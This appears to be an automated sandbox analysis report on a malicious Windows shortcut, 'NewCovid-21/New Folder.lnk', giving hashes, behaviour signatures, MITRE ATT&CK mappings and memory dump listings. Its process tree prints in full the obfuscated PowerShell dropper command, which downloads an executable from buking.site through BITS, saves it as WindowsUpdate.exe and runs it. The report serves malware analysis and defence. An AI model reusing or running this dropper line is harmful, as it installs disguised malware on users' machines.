434d39bfbcee378ed62a02aa40acc6507aa00b2a3cb0bf356c0b23cc9eebcd77

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10-04-2024 10:36

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General

Target

NewCovid-21/New Folder.lnk
Size

1KB
MD5

aa3e4c243b101ed6c92b38fe8670a724
SHA1

b85ef90888d2169252af104e809726e92aa518ef
SHA256

172f12c692611e928e4ea42b883b90147888b54a8fb858fc97140b82eef409f3
SHA512

cecb656b59170bb1e67e50f38f2b2b4753b8b63ec0633604c40018ccbe45b25c69828e0d3909b8d946ac0d44e52a5a8604c0b0537a7baa9ed3e36c7df6d64d9a

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://buking.site/soft/08042021.exe

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2608 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2608 powershell.exe

pid	process
2608	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2608	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1736 wrote to memory of 2572	1736	cmd.exe	cmd.exe
PID 1736 wrote to memory of 2572	1736	cmd.exe	cmd.exe
PID 1736 wrote to memory of 2572	1736	cmd.exe	cmd.exe
PID 2572 wrote to memory of 2608	2572	cmd.exe	powershell.exe
PID 2572 wrote to memory of 2608	2572	cmd.exe	powershell.exe
PID 2572 wrote to memory of 2608	2572	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NewCovid-21\New Folder.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2608-40-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/2608-41-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/2608-42-0x00000000029B0000-0x00000000029D2000-memory.dmp

Filesize
136KB

Download
memory/2608-43-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/2608-44-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2608-45-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/2608-46-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2608-47-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2608-48-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/2608-49-0x0000000002980000-0x0000000002992000-memory.dmp

Filesize
72KB

Download
memory/2608-50-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download